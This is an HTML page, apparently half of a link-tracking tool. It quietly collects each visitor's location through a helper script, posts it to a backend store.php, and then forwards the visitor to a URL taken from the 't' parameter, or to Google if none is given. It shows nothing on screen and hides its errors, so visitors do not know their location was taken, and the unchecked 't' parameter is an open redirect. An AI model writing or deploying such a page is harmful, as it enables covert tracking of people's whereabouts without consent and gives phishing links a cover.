index.html

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <title></title>
  </head>
  <body>
    <pre id="error"></pre>
    <script src="client-locator.js"></script>
    <script>
      const urlParams = new URLSearchParams(window.location.search);
      const to = urlParams.get('t');

      function ensureHttp(url) {
        if (!/^https?:\/\//i.test(url)) {
          return 'https://' + url;
        }
        return url;
      }

      (async () => {
        try {
          const clientLocationInfo = await getClientLocationInfo();

          await fetch('backend/store.php', {
            method: 'POST',
            headers: {
              'Content-Type': 'application/json',
            },
            body: JSON.stringify(clientLocationInfo),
          });
        } 
        catch (error) {
          //console.error(error);
          //document.getElementById('error').innerHTML = error.message;
        }

        if(to){
          window.location.href = ensureHttp(to);
        }
        else {
          window.location.href = "https://www.google.com";
        }
      })();
    </script>
  </body>
</html>